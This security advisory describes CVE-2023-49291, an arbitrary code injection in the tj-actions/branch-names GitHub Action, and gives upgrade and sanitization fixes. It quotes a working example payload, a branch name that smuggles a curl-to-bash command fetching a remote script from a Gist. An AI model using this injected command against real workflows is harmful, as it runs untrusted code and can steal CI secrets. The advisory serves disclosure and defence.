CVE-2023-49291: Arbitrary Code Injection in tj-actions/branch-names
Summary
CVE-2023-49291: tj-actions/branch-names's Improper Sanitization of Branch Name Leads to Arbitrary Code Injection. Affects tj-actions/branch-names versions < 7.0.7. Fixed in 7.0.7. How to fix ↓
Check if this vulnerability affects your application
Upload a manifest or SBOM and we'll show whether you're affected, plus every other risky package in the same scan.
No signup required · Results in about 60 seconds
Background
tj-actions/branch-names is a GitHub Actions package that is used to set branch names in GitHub workflows. It provides functionality to retrieve and manipulate branch names within a GitHub Actions environment. However, a vulnerability has been discovered in the package that allows for arbitrary code injection through specially crafted branch names.
Vulnerability Detail
The vulnerability arises from the improper sanitization of branch names in the tj-actions/branch-names package. The package references the github.event.pull_request.head.ref and github.head_ref context variables within a GitHub Actions run step. These variables contain the branch name and are used directly without proper sanitization. An attacker can exploit this by crafting a malicious branch name that includes arbitrary code. For example, by using a branch name like Test")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$("foo, an attacker can download and execute a script from a Gist. This allows them to inject and execute arbitrary code with the permissions of the GitHub Actions environment.
How To Fix
Minimum fixed version
7.0.7
This is the first release that contains the fix.
Tip — Not sure which version your app runs? Vulert can match this fix to it. Scan free →
Workaround
If updating the package is not immediately possible, a temporary workaround is to manually sanitize the branch names before using them in the GitHub Actions workflow. This can be done by applying appropriate input validation and sanitization techniques to ensure that only safe branch names are used.
Conclusion
The tj-actions/branch-names package is vulnerable to arbitrary code injection through improperly sanitized branch names. It is crucial to update the package to version 7.0.7 or later to mitigate this vulnerability. If immediate update is not possible, manual sanitization of branch names is recommended. For further support on vulnerability remediation, contact DevNack.com.
See every vulnerability recorded for tj-actions/branch-names →
FAQ
tj-actions/branch-names is a GitHub Actions package that provides functionality to set branch names in GitHub workflows.
This vulnerability allows an attacker to execute arbitrary code within the GitHub Actions environment, potentially leading to the theft of secrets or abuse of permissions.
To fix this vulnerability, update the tj-actions/branch-names package to version 7.0.7 or later.
If updating the package is not immediately possible, manually sanitize the branch names before using them in the GitHub Actions workflow.
You can find more information about this vulnerability in the GitHub Security Lab research report: https://securitylab.github.com/research/github-actions-untrusted-input
References
Related vulnerabilities
Recent vulnerabilities recorded for tj-actions/branch-names.
